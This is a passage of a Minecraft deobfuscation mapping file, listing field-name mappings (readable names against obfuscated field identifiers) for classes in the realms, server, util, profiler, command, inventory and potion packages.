net/minecraft/realms/RealmsDefaultVertexFormat/POSITION_TEX +FD: net/minecraft/realms/RealmsDefaultVertexFormat/POSITION_TEX2_COLOR net/minecraft/realms/RealmsDefaultVertexFormat/POSITION_TEX2_COLOR +FD: net/minecraft/realms/RealmsDefaultVertexFormat/POSITION_TEX_COLOR net/minecraft/realms/RealmsDefaultVertexFormat/POSITION_TEX_COLOR +FD: net/minecraft/realms/RealmsDefaultVertexFormat/POSITION_TEX_COLOR_NORMAL net/minecraft/realms/RealmsDefaultVertexFormat/POSITION_TEX_COLOR_NORMAL +FD: net/minecraft/realms/RealmsDefaultVertexFormat/POSITION_TEX_NORMAL net/minecraft/realms/RealmsDefaultVertexFormat/POSITION_TEX_NORMAL +FD: net/minecraft/realms/RealmsEditBox/editBox net/minecraft/realms/RealmsEditBox/editBox +FD: net/minecraft/realms/RealmsLevelSummary/levelSummary net/minecraft/realms/RealmsLevelSummary/levelSummary +FD: net/minecraft/realms/RealmsScreen/SKIN_HAT_HEIGHT net/minecraft/realms/RealmsScreen/SKIN_HAT_HEIGHT +FD: net/minecraft/realms/RealmsScreen/SKIN_HAT_U net/minecraft/realms/RealmsScreen/SKIN_HAT_U +FD: net/minecraft/realms/RealmsScreen/SKIN_HAT_V net/minecraft/realms/RealmsScreen/SKIN_HAT_V +FD: net/minecraft/realms/RealmsScreen/SKIN_HAT_WIDTH net/minecraft/realms/RealmsScreen/SKIN_HAT_WIDTH +FD: net/minecraft/realms/RealmsScreen/SKIN_HEAD_HEIGHT net/minecraft/realms/RealmsScreen/SKIN_HEAD_HEIGHT +FD: net/minecraft/realms/RealmsScreen/SKIN_HEAD_U net/minecraft/realms/RealmsScreen/SKIN_HEAD_U +FD: net/minecraft/realms/RealmsScreen/SKIN_HEAD_V net/minecraft/realms/RealmsScreen/SKIN_HEAD_V +FD: net/minecraft/realms/RealmsScreen/SKIN_HEAD_WIDTH net/minecraft/realms/RealmsScreen/SKIN_HEAD_WIDTH +FD: net/minecraft/realms/RealmsScreen/SKIN_TEX_HEIGHT net/minecraft/realms/RealmsScreen/SKIN_TEX_HEIGHT +FD: net/minecraft/realms/RealmsScreen/SKIN_TEX_WIDTH net/minecraft/realms/RealmsScreen/SKIN_TEX_WIDTH +FD: net/minecraft/realms/RealmsScreen/height net/minecraft/realms/RealmsScreen/height +FD: net/minecraft/realms/RealmsScreen/minecraft net/minecraft/realms/RealmsScreen/minecraft +FD: net/minecraft/realms/RealmsScreen/proxy net/minecraft/realms/RealmsScreen/proxy +FD: net/minecraft/realms/RealmsScreen/width net/minecraft/realms/RealmsScreen/width +FD: net/minecraft/realms/RealmsScrolledSelectionList/proxy net/minecraft/realms/RealmsScrolledSelectionList/proxy +FD: net/minecraft/realms/RealmsServerAddress/host net/minecraft/realms/RealmsServerAddress/host +FD: net/minecraft/realms/RealmsServerAddress/port net/minecraft/realms/RealmsServerAddress/port +FD: net/minecraft/realms/RealmsServerPing/lastPingSnapshot net/minecraft/realms/RealmsServerPing/lastPingSnapshot +FD: net/minecraft/realms/RealmsServerPing/nrOfPlayers net/minecraft/realms/RealmsServerPing/nrOfPlayers +FD: net/minecraft/realms/RealmsServerPing/playerList net/minecraft/realms/RealmsServerPing/playerList +FD: net/minecraft/realms/RealmsServerStatusPinger$1/field_154341_a net/minecraft/realms/RealmsServerStatusPinger$1/field_154341_a +FD: net/minecraft/realms/RealmsServerStatusPinger$1/field_154342_b net/minecraft/realms/RealmsServerStatusPinger$1/field_154342_b +FD: net/minecraft/realms/RealmsServerStatusPinger$1/field_154343_c net/minecraft/realms/RealmsServerStatusPinger$1/field_154343_c +FD: net/minecraft/realms/RealmsServerStatusPinger$1/field_154344_d net/minecraft/realms/RealmsServerStatusPinger$1/field_154344_d +FD: net/minecraft/realms/RealmsServerStatusPinger$1/field_154345_e net/minecraft/realms/RealmsServerStatusPinger$1/field_154345_e +FD: net/minecraft/realms/RealmsServerStatusPinger/LOGGER net/minecraft/realms/RealmsServerStatusPinger/LOGGER +FD: net/minecraft/realms/RealmsServerStatusPinger/connections net/minecraft/realms/RealmsServerStatusPinger/connections +FD: net/minecraft/realms/RealmsSharedConstants/ILLEGAL_FILE_CHARACTERS net/minecraft/realms/RealmsSharedConstants/ILLEGAL_FILE_CHARACTERS +FD: net/minecraft/realms/RealmsSharedConstants/NETWORK_PROTOCOL_VERSION net/minecraft/realms/RealmsSharedConstants/NETWORK_PROTOCOL_VERSION +FD: net/minecraft/realms/RealmsSharedConstants/TICKS_PER_SECOND net/minecraft/realms/RealmsSharedConstants/TICKS_PER_SECOND +FD: net/minecraft/realms/RealmsSharedConstants/VERSION_STRING net/minecraft/realms/RealmsSharedConstants/VERSION_STRING +FD: net/minecraft/realms/RealmsSimpleScrolledSelectionList/proxy net/minecraft/realms/RealmsSimpleScrolledSelectionList/proxy +FD: net/minecraft/realms/RealmsSliderButton/maxValue net/minecraft/realms/RealmsSliderButton/maxValue +FD: net/minecraft/realms/RealmsSliderButton/minValue net/minecraft/realms/RealmsSliderButton/minValue +FD: net/minecraft/realms/RealmsSliderButton/sliding net/minecraft/realms/RealmsSliderButton/sliding +FD: net/minecraft/realms/RealmsSliderButton/steps net/minecraft/realms/RealmsSliderButton/steps +FD: net/minecraft/realms/RealmsSliderButton/value net/minecraft/realms/RealmsSliderButton/value +FD: net/minecraft/realms/RealmsVertexFormat/v net/minecraft/realms/RealmsVertexFormat/v +FD: net/minecraft/realms/RealmsVertexFormatElement/v net/minecraft/realms/RealmsVertexFormatElement/v +FD: net/minecraft/realms/Tezzelator/instance net/minecraft/realms/Tezzelator/instance +FD: net/minecraft/realms/Tezzelator/t net/minecraft/realms/Tezzelator/t +FD: net/minecraft/server/MinecraftServer$1/field_74267_a net/minecraft/server/MinecraftServer$1/field_74267_a +FD: net/minecraft/server/MinecraftServer$1/startTime net/minecraft/server/MinecraftServer$1/field_96245_b +FD: net/minecraft/server/MinecraftServer$2/field_96244_a net/minecraft/server/MinecraftServer$2/field_96244_a +FD: net/minecraft/server/MinecraftServer$3/field_73716_a net/minecraft/server/MinecraftServer$3/field_73716_a +FD: net/minecraft/server/MinecraftServer$4/field_74274_a net/minecraft/server/MinecraftServer$4/field_74274_a +FD: net/minecraft/server/MinecraftServer/canSpawnAnimals net/minecraft/server/MinecraftServer/field_71324_y +FD: net/minecraft/server/MinecraftServer/canSpawnNPCs net/minecraft/server/MinecraftServer/field_71323_z +FD: net/minecraft/server/MinecraftServer/pvpEnabled net/minecraft/server/MinecraftServer/field_71284_A +FD: net/minecraft/server/MinecraftServer/allowFlight net/minecraft/server/MinecraftServer/field_71285_B +FD: net/minecraft/server/MinecraftServer/motd net/minecraft/server/MinecraftServer/field_71286_C +FD: net/minecraft/server/MinecraftServer/buildLimit net/minecraft/server/MinecraftServer/field_71280_D +FD: net/minecraft/server/MinecraftServer/maxPlayerIdleMinutes net/minecraft/server/MinecraftServer/field_143008_E +FD: net/minecraft/server/MinecraftServer/serverKeyPair net/minecraft/server/MinecraftServer/field_71292_I +FD: net/minecraft/server/MinecraftServer/serverOwner net/minecraft/server/MinecraftServer/field_71293_J +FD: net/minecraft/server/MinecraftServer/folderName net/minecraft/server/MinecraftServer/field_71294_K +FD: net/minecraft/server/MinecraftServer/worldName net/minecraft/server/MinecraftServer/field_71287_L +FD: net/minecraft/server/MinecraftServer/isDemo net/minecraft/server/MinecraftServer/field_71288_M +FD: net/minecraft/server/MinecraftServer/enableBonusChest net/minecraft/server/MinecraftServer/field_71289_N +FD: net/minecraft/server/MinecraftServer/worldIsBeingDeleted net/minecraft/server/MinecraftServer/field_71290_O +FD: net/minecraft/server/MinecraftServer/resourcePackUrl net/minecraft/server/MinecraftServer/field_147141_M +FD: net/minecraft/server/MinecraftServer/resourcePackHash net/minecraft/server/MinecraftServer/field_175588_P +FD: net/minecraft/server/MinecraftServer/serverIsRunning net/minecraft/server/MinecraftServer/field_71296_Q +FD: net/minecraft/server/MinecraftServer/timeOfLastWarning net/minecraft/server/MinecraftServer/field_71299_R +FD: net/minecraft/server/MinecraftServer/userMessage net/minecraft/server/MinecraftServer/field_71298_S +FD: net/minecraft/server/MinecraftServer/startProfiling net/minecraft/server/MinecraftServer/field_71295_T +FD: net/minecraft/server/MinecraftServer/isGamemodeForced net/minecraft/server/MinecraftServer/field_104057_T +FD: net/minecraft/server/MinecraftServer/authService net/minecraft/server/MinecraftServer/field_152364_T +FD: net/minecraft/server/MinecraftServer/sessionService net/minecraft/server/MinecraftServer/field_147143_S +FD: net/minecraft/server/MinecraftServer/nanoTimeSinceStatusRefresh net/minecraft/server/MinecraftServer/field_147142_T +FD: net/minecraft/server/MinecraftServer/profileRepo net/minecraft/server/MinecraftServer/field_152365_W +FD: net/minecraft/server/MinecraftServer/profileCache net/minecraft/server/MinecraftServer/field_152366_X +FD: net/minecraft/server/MinecraftServer/USER_CACHE_FILE net/minecraft/server/MinecraftServer/field_152367_a +FD: net/minecraft/server/MinecraftServer/serverThread net/minecraft/server/MinecraftServer/field_175590_aa +FD: net/minecraft/server/MinecraftServer/currentTime net/minecraft/server/MinecraftServer/field_175591_ab +FD: net/minecraft/server/MinecraftServer/commandManager net/minecraft/server/MinecraftServer/field_71321_q +FD: net/minecraft/server/MinecraftServer/theProfiler net/minecraft/server/MinecraftServer/field_71304_b +FD: net/minecraft/server/MinecraftServer/worldServers net/minecraft/server/MinecraftServer/field_71305_c +FD: net/minecraft/server/MinecraftServer/serverProxy net/minecraft/server/MinecraftServer/field_110456_c +FD: net/minecraft/server/MinecraftServer/currentTask net/minecraft/server/MinecraftServer/field_71302_d +FD: net/minecraft/server/MinecraftServer/percentDone net/minecraft/server/MinecraftServer/field_71303_e +FD: net/minecraft/server/MinecraftServer/tickTimeArray net/minecraft/server/MinecraftServer/field_71311_j +FD: net/minecraft/server/MinecraftServer/timeOfLastDimensionTick net/minecraft/server/MinecraftServer/field_71312_k +FD: net/minecraft/server/MinecraftServer/futureTaskQueue net/minecraft/server/MinecraftServer/field_175589_i +FD: net/minecraft/server/MinecraftServer/logger net/minecraft/server/MinecraftServer/field_147145_h +FD: net/minecraft/server/MinecraftServer/mcServer net/minecraft/server/MinecraftServer/field_71309_l +FD: net/minecraft/server/MinecraftServer/anvilConverterForAnvilFile net/minecraft/server/MinecraftServer/field_71310_m +FD: net/minecraft/server/MinecraftServer/usageSnooper net/minecraft/server/MinecraftServer/field_71307_n +FD: net/minecraft/server/MinecraftServer/anvilFile net/minecraft/server/MinecraftServer/field_71308_o +FD: net/minecraft/server/MinecraftServer/playersOnline net/minecraft/server/MinecraftServer/field_71322_p +FD: net/minecraft/server/MinecraftServer/networkSystem net/minecraft/server/MinecraftServer/field_147144_o +FD: net/minecraft/server/MinecraftServer/statusResponse net/minecraft/server/MinecraftServer/field_147147_p +FD: net/minecraft/server/MinecraftServer/random net/minecraft/server/MinecraftServer/field_147146_q +FD: net/minecraft/server/MinecraftServer/hostname net/minecraft/server/MinecraftServer/field_71320_r +FD: net/minecraft/server/MinecraftServer/serverPort net/minecraft/server/MinecraftServer/field_71319_s +FD: net/minecraft/server/MinecraftServer/serverConfigManager net/minecraft/server/MinecraftServer/field_71318_t +FD: net/minecraft/server/MinecraftServer/serverRunning net/minecraft/server/MinecraftServer/field_71317_u +FD: net/minecraft/server/MinecraftServer/serverStopped net/minecraft/server/MinecraftServer/field_71316_v +FD: net/minecraft/server/MinecraftServer/tickCounter net/minecraft/server/MinecraftServer/field_71315_w +FD: net/minecraft/server/MinecraftServer/onlineMode net/minecraft/server/MinecraftServer/field_71325_x +FD: net/minecraft/util/CryptManager/LOGGER net/minecraft/util/CryptManager/field_180198_a +FD: net/minecraft/util/FrameTimer/frames net/minecraft/util/FrameTimer/field_181752_a +FD: net/minecraft/util/FrameTimer/lastIndex net/minecraft/util/FrameTimer/field_181753_b +FD: net/minecraft/util/FrameTimer/counter net/minecraft/util/FrameTimer/field_181754_c +FD: net/minecraft/util/FrameTimer/index net/minecraft/util/FrameTimer/field_181755_d +FD: net/minecraft/util/HttpUtil$1/field_151199_a net/minecraft/util/HttpUtil$1/field_151199_a +FD: net/minecraft/util/HttpUtil$1/field_151197_b net/minecraft/util/HttpUtil$1/field_151197_b +FD: net/minecraft/util/HttpUtil$1/field_151198_c net/minecraft/util/HttpUtil$1/field_151198_c +FD: net/minecraft/util/HttpUtil$1/field_151195_d net/minecraft/util/HttpUtil$1/field_151195_d +FD: net/minecraft/util/HttpUtil$1/field_151196_e net/minecraft/util/HttpUtil$1/field_151196_e +FD: net/minecraft/util/HttpUtil$1/field_151194_g net/minecraft/util/HttpUtil$1/field_151194_g +FD: net/minecraft/util/HttpUtil/field_180193_a net/minecraft/util/HttpUtil/field_180193_a +FD: net/minecraft/util/HttpUtil/downloadThreadsStarted net/minecraft/util/HttpUtil/field_151228_a +FD: net/minecraft/util/HttpUtil/logger net/minecraft/util/HttpUtil/field_151227_b +FD: net/minecraft/server/management/LowerStringMap/internalMap net/minecraft/server/management/LowerStringMap/field_76117_a +FD: net/minecraft/util/IntegerCache/CACHE net/minecraft/util/IntegerCache/field_181757_a +FD: net/minecraft/util/IntHashMap$Entry/hashEntry net/minecraft/util/IntHashMap$Entry/field_76035_a +FD: net/minecraft/util/IntHashMap$Entry/valueEntry net/minecraft/util/IntHashMap$Entry/field_76033_b +FD: net/minecraft/util/IntHashMap$Entry/nextEntry net/minecraft/util/IntHashMap$Entry/field_76034_c +FD: net/minecraft/util/IntHashMap$Entry/slotHash net/minecraft/util/IntHashMap$Entry/field_76032_d +FD: net/minecraft/util/IntHashMap/slots net/minecraft/util/IntHashMap/field_76055_a +FD: net/minecraft/util/IntHashMap/count net/minecraft/util/IntHashMap/field_76053_b +FD: net/minecraft/util/IntHashMap/threshold net/minecraft/util/IntHashMap/field_76054_c +FD: net/minecraft/util/IntHashMap/growFactor net/minecraft/util/IntHashMap/field_76051_d +FD: net/minecraft/util/LazyLoadBase/value net/minecraft/util/LazyLoadBase/field_179283_a +FD: net/minecraft/util/LazyLoadBase/isLoaded net/minecraft/util/LazyLoadBase/field_179282_b +FD: net/minecraft/util/ThreadSafeBoundList/field_152759_a net/minecraft/util/ThreadSafeBoundList/field_152759_a +FD: net/minecraft/util/ThreadSafeBoundList/field_152760_b net/minecraft/util/ThreadSafeBoundList/field_152760_b +FD: net/minecraft/util/ThreadSafeBoundList/field_152761_c net/minecraft/util/ThreadSafeBoundList/field_152761_c +FD: net/minecraft/util/ThreadSafeBoundList/field_152762_d net/minecraft/util/ThreadSafeBoundList/field_152762_d +FD: net/minecraft/util/ThreadSafeBoundList/field_152763_e net/minecraft/util/ThreadSafeBoundList/field_152763_e +FD: net/minecraft/util/LongHashMap$Entry/key net/minecraft/util/LongHashMap$Entry/field_76150_a +FD: net/minecraft/util/LongHashMap$Entry/value net/minecraft/util/LongHashMap$Entry/field_76148_b +FD: net/minecraft/util/LongHashMap$Entry/nextEntry net/minecraft/util/LongHashMap$Entry/field_76149_c +FD: net/minecraft/util/LongHashMap$Entry/hash net/minecraft/util/LongHashMap$Entry/field_76147_d +FD: net/minecraft/util/LongHashMap/hashArray net/minecraft/util/LongHashMap/field_76169_a +FD: net/minecraft/util/LongHashMap/numHashElements net/minecraft/util/LongHashMap/field_76167_b +FD: net/minecraft/util/LongHashMap/mask net/minecraft/util/LongHashMap/field_180201_c +FD: net/minecraft/util/LongHashMap/capacity net/minecraft/util/LongHashMap/field_76168_c +FD: net/minecraft/util/LongHashMap/percentUseable net/minecraft/util/LongHashMap/field_76165_d +FD: net/minecraft/util/LongHashMap/modCount net/minecraft/util/LongHashMap/field_76166_e +FD: net/minecraft/util/EnumTypeAdapterFactory$1/field_151231_a net/minecraft/util/EnumTypeAdapterFactory$1/field_151231_a +FD: net/minecraft/util/EnumTypeAdapterFactory$1/field_151230_b net/minecraft/util/EnumTypeAdapterFactory$1/field_151230_b +FD: net/minecraft/util/MathHelper/SQRT_2 net/minecraft/util/MathHelper/field_180189_a +FD: net/minecraft/util/MathHelper/SIN_TABLE net/minecraft/util/MathHelper/field_76144_a +FD: net/minecraft/util/MathHelper/multiplyDeBruijnBitPosition net/minecraft/util/MathHelper/field_151242_b +FD: net/minecraft/util/MathHelper/field_181163_d net/minecraft/util/MathHelper/field_181163_d +FD: net/minecraft/util/MathHelper/field_181164_e net/minecraft/util/MathHelper/field_181164_e +FD: net/minecraft/util/MathHelper/field_181165_f net/minecraft/util/MathHelper/field_181165_f +FD: net/minecraft/profiler/Profiler$Result/field_76332_a net/minecraft/profiler/Profiler$Result/field_76332_a +FD: net/minecraft/profiler/Profiler$Result/field_76330_b net/minecraft/profiler/Profiler$Result/field_76330_b +FD: net/minecraft/profiler/Profiler$Result/field_76331_c net/minecraft/profiler/Profiler$Result/field_76331_c +FD: net/minecraft/profiler/Profiler/profilingEnabled net/minecraft/profiler/Profiler/field_76327_a +FD: net/minecraft/profiler/Profiler/logger net/minecraft/profiler/Profiler/field_151234_b +FD: net/minecraft/profiler/Profiler/sectionList net/minecraft/profiler/Profiler/field_76325_b +FD: net/minecraft/profiler/Profiler/timestampList net/minecraft/profiler/Profiler/field_76326_c +FD: net/minecraft/profiler/Profiler/profilingSection net/minecraft/profiler/Profiler/field_76323_d +FD: net/minecraft/profiler/Profiler/profilingMap net/minecraft/profiler/Profiler/field_76324_e +FD: net/minecraft/util/MouseFilter/field_76336_a net/minecraft/util/MouseFilter/field_76336_a +FD: net/minecraft/util/MouseFilter/field_76334_b net/minecraft/util/MouseFilter/field_76334_b +FD: net/minecraft/util/MouseFilter/field_76335_c net/minecraft/util/MouseFilter/field_76335_c +FD: net/minecraft/util/StringUtils/patternControlCode net/minecraft/util/StringUtils/field_76339_a +FD: net/minecraft/util/Tuple/a net/minecraft/util/Tuple/a +FD: net/minecraft/util/Tuple/b net/minecraft/util/Tuple/b +FD: net/minecraft/command/PlayerSelector$1/field_179615_a net/minecraft/command/PlayerSelector$1/field_179615_a +FD: net/minecraft/command/PlayerSelector$1/field_179614_b net/minecraft/command/PlayerSelector$1/field_179614_b +FD: net/minecraft/command/PlayerSelector$10/field_179602_a net/minecraft/command/PlayerSelector$10/field_179602_a +FD: net/minecraft/command/PlayerSelector$10/field_179601_b net/minecraft/command/PlayerSelector$10/field_179601_b +FD: net/minecraft/command/PlayerSelector$11/field_179599_a net/minecraft/command/PlayerSelector$11/field_179599_a +FD: net/minecraft/command/PlayerSelector$11/field_179597_b net/minecraft/command/PlayerSelector$11/field_179597_b +FD: net/minecraft/command/PlayerSelector$11/field_179598_c net/minecraft/command/PlayerSelector$11/field_179598_c +FD: net/minecraft/command/PlayerSelector$11/field_179595_d net/minecraft/command/PlayerSelector$11/field_179595_d +FD: net/minecraft/command/PlayerSelector$11/field_179596_e net/minecraft/command/PlayerSelector$11/field_179596_e +FD: net/minecraft/command/PlayerSelector$12/field_179593_a net/minecraft/command/PlayerSelector$12/field_179593_a +FD: net/minecraft/command/PlayerSelector$12/field_179592_b net/minecraft/command/PlayerSelector$12/field_179592_b +FD: net/minecraft/command/PlayerSelector$2/field_179618_a net/minecraft/command/PlayerSelector$2/field_179618_a +FD: net/minecraft/command/PlayerSelector$2/field_179617_b net/minecraft/command/PlayerSelector$2/field_179617_b +FD: net/minecraft/command/PlayerSelector$3/field_179610_a net/minecraft/command/PlayerSelector$3/field_179610_a +FD: net/minecraft/command/PlayerSelector$4/field_179612_a net/minecraft/command/PlayerSelector$4/field_179612_a +FD: net/minecraft/command/PlayerSelector$6/field_179627_a net/minecraft/command/PlayerSelector$6/field_179627_a +FD: net/minecraft/command/PlayerSelector$6/field_179626_b net/minecraft/command/PlayerSelector$6/field_179626_b +FD: net/minecraft/command/PlayerSelector$7/field_179620_a net/minecraft/command/PlayerSelector$7/field_179620_a +FD: net/minecraft/command/PlayerSelector$8/field_179623_a net/minecraft/command/PlayerSelector$8/field_179623_a +FD: net/minecraft/command/PlayerSelector$8/field_179622_b net/minecraft/command/PlayerSelector$8/field_179622_b +FD: net/minecraft/command/PlayerSelector$9/field_179604_a net/minecraft/command/PlayerSelector$9/field_179604_a +FD: net/minecraft/command/PlayerSelector/tokenPattern net/minecraft/command/PlayerSelector/field_82389_a +FD: net/minecraft/command/PlayerSelector/intListPattern net/minecraft/command/PlayerSelector/field_82387_b +FD: net/minecraft/command/PlayerSelector/keyValueListPattern net/minecraft/command/PlayerSelector/field_82388_c +FD: net/minecraft/command/PlayerSelector/WORLD_BINDING_ARGS net/minecraft/command/PlayerSelector/field_179666_d +FD: net/minecraft/util/WeightedRandom$Item/itemWeight net/minecraft/util/WeightedRandom$Item/field_76292_a +FD: net/minecraft/util/WeightedRandomChestContent/theItemId net/minecraft/util/WeightedRandomChestContent/field_76297_b +FD: net/minecraft/util/WeightedRandomChestContent/minStackSize net/minecraft/util/WeightedRandomChestContent/field_76295_d +FD: net/minecraft/util/WeightedRandomChestContent/maxStackSize net/minecraft/util/WeightedRandomChestContent/field_76296_e +FD: net/minecraft/inventory/InventoryLargeChest/name net/minecraft/inventory/InventoryLargeChest/field_70479_a +FD: net/minecraft/inventory/InventoryLargeChest/upperChest net/minecraft/inventory/InventoryLargeChest/field_70477_b +FD: net/minecraft/inventory/InventoryLargeChest/lowerChest net/minecraft/inventory/InventoryLargeChest/field_70478_c +FD: net/minecraft/inventory/InventoryHelper/RANDOM net/minecraft/inventory/InventoryHelper/field_180177_a +FD: net/minecraft/world/EnumDifficulty/PEACEFUL net/minecraft/world/EnumDifficulty/PEACEFUL +FD: net/minecraft/world/EnumDifficulty/EASY net/minecraft/world/EnumDifficulty/EASY +FD: net/minecraft/world/EnumDifficulty/NORMAL net/minecraft/world/EnumDifficulty/NORMAL +FD: net/minecraft/world/EnumDifficulty/HARD net/minecraft/world/EnumDifficulty/HARD +FD: net/minecraft/world/EnumDifficulty/difficultyEnums net/minecraft/world/EnumDifficulty/field_151530_e +FD: net/minecraft/world/EnumDifficulty/difficultyId net/minecraft/world/EnumDifficulty/field_151527_f +FD: net/minecraft/world/EnumDifficulty/difficultyResourceKey net/minecraft/world/EnumDifficulty/field_151528_g +FD: net/minecraft/world/EnumDifficulty/$VALUES net/minecraft/world/EnumDifficulty/$VALUES +FD: net/minecraft/world/DifficultyInstance/worldDifficulty net/minecraft/world/DifficultyInstance/field_180172_a +FD: net/minecraft/world/DifficultyInstance/additionalDifficulty net/minecraft/world/DifficultyInstance/field_180171_b +FD: net/minecraft/world/LockCode/EMPTY_CODE net/minecraft/world/LockCode/field_180162_a +FD: net/minecraft/world/LockCode/lock net/minecraft/world/LockCode/field_180161_b +FD: net/minecraft/inventory/InventoryBasic/inventoryTitle net/minecraft/inventory/InventoryBasic/field_70483_a +FD: net/minecraft/inventory/InventoryBasic/slotsCount net/minecraft/inventory/InventoryBasic/field_70481_b +FD: net/minecraft/inventory/InventoryBasic/inventoryContents net/minecraft/inventory/InventoryBasic/field_70482_c +FD: net/minecraft/inventory/InventoryBasic/changeListeners net/minecraft/inventory/InventoryBasic/field_70480_d +FD: net/minecraft/inventory/InventoryBasic/hasCustomName net/minecraft/inventory/InventoryBasic/field_94051_e +FD: net/minecraft/profiler/PlayerUsageSnooper$1/field_76344_a net/minecraft/profiler/PlayerUsageSnooper$1/field_76344_a +FD: net/minecraft/profiler/PlayerUsageSnooper/snooperStats net/minecraft/profiler/PlayerUsageSnooper/field_152773_a +FD: net/minecraft/profiler/PlayerUsageSnooper/clientStats net/minecraft/profiler/PlayerUsageSnooper/field_152774_b +FD: net/minecraft/profiler/PlayerUsageSnooper/uniqueID net/minecraft/profiler/PlayerUsageSnooper/field_76480_b +FD: net/minecraft/profiler/PlayerUsageSnooper/serverUrl net/minecraft/profiler/PlayerUsageSnooper/field_76481_c +FD: net/minecraft/profiler/PlayerUsageSnooper/playerStatsCollector net/minecraft/profiler/PlayerUsageSnooper/field_76478_d +FD: net/minecraft/profiler/PlayerUsageSnooper/threadTrigger net/minecraft/profiler/PlayerUsageSnooper/field_76479_e +FD: net/minecraft/profiler/PlayerUsageSnooper/syncLock net/minecraft/profiler/PlayerUsageSnooper/field_76476_f +FD: net/minecraft/profiler/PlayerUsageSnooper/minecraftStartTimeMilis net/minecraft/profiler/PlayerUsageSnooper/field_98224_g +FD: net/minecraft/profiler/PlayerUsageSnooper/isRunning net/minecraft/profiler/PlayerUsageSnooper/field_76477_g +FD: net/minecraft/profiler/PlayerUsageSnooper/selfCounter net/minecraft/profiler/PlayerUsageSnooper/field_76483_h +FD: net/minecraft/util/CombatEntry/damageSrc net/minecraft/util/CombatEntry/field_94569_a +FD: net/minecraft/util/CombatEntry/field_94567_b net/minecraft/util/CombatEntry/field_94567_b +FD: net/minecraft/util/CombatEntry/damage net/minecraft/util/CombatEntry/field_94568_c +FD: net/minecraft/util/CombatEntry/health net/minecraft/util/CombatEntry/field_94565_d +FD: net/minecraft/util/CombatEntry/field_94566_e net/minecraft/util/CombatEntry/field_94566_e +FD: net/minecraft/util/CombatEntry/fallDistance net/minecraft/util/CombatEntry/field_94564_f +FD: net/minecraft/util/CombatTracker/combatEntries net/minecraft/util/CombatTracker/field_94556_a +FD: net/minecraft/util/CombatTracker/fighter net/minecraft/util/CombatTracker/field_94554_b +FD: net/minecraft/util/CombatTracker/field_94555_c net/minecraft/util/CombatTracker/field_94555_c +FD: net/minecraft/util/CombatTracker/field_152775_d net/minecraft/util/CombatTracker/field_152775_d +FD: net/minecraft/util/CombatTracker/field_152776_e net/minecraft/util/CombatTracker/field_152776_e +FD: net/minecraft/util/CombatTracker/field_94552_d net/minecraft/util/CombatTracker/field_94552_d +FD: net/minecraft/util/CombatTracker/field_94553_e net/minecraft/util/CombatTracker/field_94553_e +FD: net/minecraft/util/CombatTracker/field_94551_f net/minecraft/util/CombatTracker/field_94551_f +FD: net/minecraft/util/DamageSource/inFire net/minecraft/util/DamageSource/field_76372_a +FD: net/minecraft/util/DamageSource/lightningBolt net/minecraft/util/DamageSource/field_180137_b +FD: net/minecraft/util/DamageSource/onFire net/minecraft/util/DamageSource/field_76370_b +FD: net/minecraft/util/DamageSource/lava net/minecraft/util/DamageSource/field_76371_c +FD: net/minecraft/util/DamageSource/inWall net/minecraft/util/DamageSource/field_76368_d +FD: net/minecraft/util/DamageSource/drown net/minecraft/util/DamageSource/field_76369_e +FD: net/minecraft/util/DamageSource/starve net/minecraft/util/DamageSource/field_76366_f +FD: net/minecraft/util/DamageSource/cactus net/minecraft/util/DamageSource/field_76367_g +FD: net/minecraft/util/DamageSource/fall net/minecraft/util/DamageSource/field_76379_h +FD: net/minecraft/util/DamageSource/outOfWorld net/minecraft/util/DamageSource/field_76380_i +FD: net/minecraft/util/DamageSource/generic net/minecraft/util/DamageSource/field_76377_j +FD: net/minecraft/util/DamageSource/magic net/minecraft/util/DamageSource/field_76376_m +FD: net/minecraft/util/DamageSource/wither net/minecraft/util/DamageSource/field_82727_n +FD: net/minecraft/util/DamageSource/anvil net/minecraft/util/DamageSource/field_82728_o +FD: net/minecraft/util/DamageSource/fallingBlock net/minecraft/util/DamageSource/field_82729_p +FD: net/minecraft/util/DamageSource/damageType net/minecraft/util/DamageSource/field_76373_n +FD: net/minecraft/util/DamageSource/isUnblockable net/minecraft/util/DamageSource/field_76374_o +FD: net/minecraft/util/DamageSource/isDamageAllowedInCreativeMode net/minecraft/util/DamageSource/field_76385_p +FD: net/minecraft/util/DamageSource/damageIsAbsolute net/minecraft/util/DamageSource/field_151520_r +FD: net/minecraft/util/DamageSource/hungerDamage net/minecraft/util/DamageSource/field_76384_q +FD: net/minecraft/util/DamageSource/fireDamage net/minecraft/util/DamageSource/field_76383_r +FD: net/minecraft/util/DamageSource/projectile net/minecraft/util/DamageSource/field_76382_s +FD: net/minecraft/util/DamageSource/difficultyScaled net/minecraft/util/DamageSource/field_76381_t +FD: net/minecraft/util/DamageSource/magicDamage net/minecraft/util/DamageSource/field_82730_x +FD: net/minecraft/util/DamageSource/explosion net/minecraft/util/DamageSource/field_76378_k +FD: net/minecraft/util/EntityDamageSource/damageSourceEntity net/minecraft/util/EntityDamageSource/field_76386_o +FD: net/minecraft/util/EntityDamageSource/isThornsDamage net/minecraft/util/EntityDamageSource/field_180140_r +FD: net/minecraft/util/EntityDamageSourceIndirect/indirectEntity net/minecraft/util/EntityDamageSourceIndirect/field_76387_p +FD: net/minecraft/command/server/CommandAchievement$1/field_179608_a net/minecraft/command/server/CommandAchievement$1/field_179608_a +FD: net/minecraft/command/server/CommandAchievement$1/field_179606_b net/minecraft/command/server/CommandAchievement$1/field_179606_b +FD: net/minecraft/command/server/CommandAchievement$1/field_179607_c net/minecraft/command/server/CommandAchievement$1/field_179607_c +FD: net/minecraft/potion/Potion/field_180147_A net/minecraft/potion/Potion/field_180147_A +FD: net/minecraft/potion/Potion/field_180148_B net/minecraft/potion/Potion/field_180148_B +FD: net/minecraft/potion/Potion/field_180149_C net/minecraft/potion/Potion/field_180149_C +FD: net/minecraft/potion/Potion/field_180143_D net/minecraft/potion/Potion/field_180143_D +FD: net/minecraft/potion/Potion/field_180144_E net/minecraft/potion/Potion/field_180144_E +FD: net/minecraft/potion/Potion/field_180145_F net/minecraft/potion/Potion/field_180145_F +FD: net/minecraft/potion/Potion/field_180146_G net/minecraft/potion/Potion/field_180146_G +FD: net/minecraft/potion/Potion/id net/minecraft/potion/Potion/field_76415_H +FD: net/minecraft/potion/Potion/field_180150_I net/minecraft/potion/Potion/field_180150_I +FD: net/minecraft/potion/Potion/attributeModifierMap net/minecraft/potion/Potion/field_111188_I +FD: net/minecraft/potion/Potion/isBadEffect net/minecraft/potion/Potion/field_76418_K +FD: net/minecraft/potion/Potion/liquidColor net/minecraft/potion/Potion/field_76414_N +FD: net/minecraft/potion/Potion/name 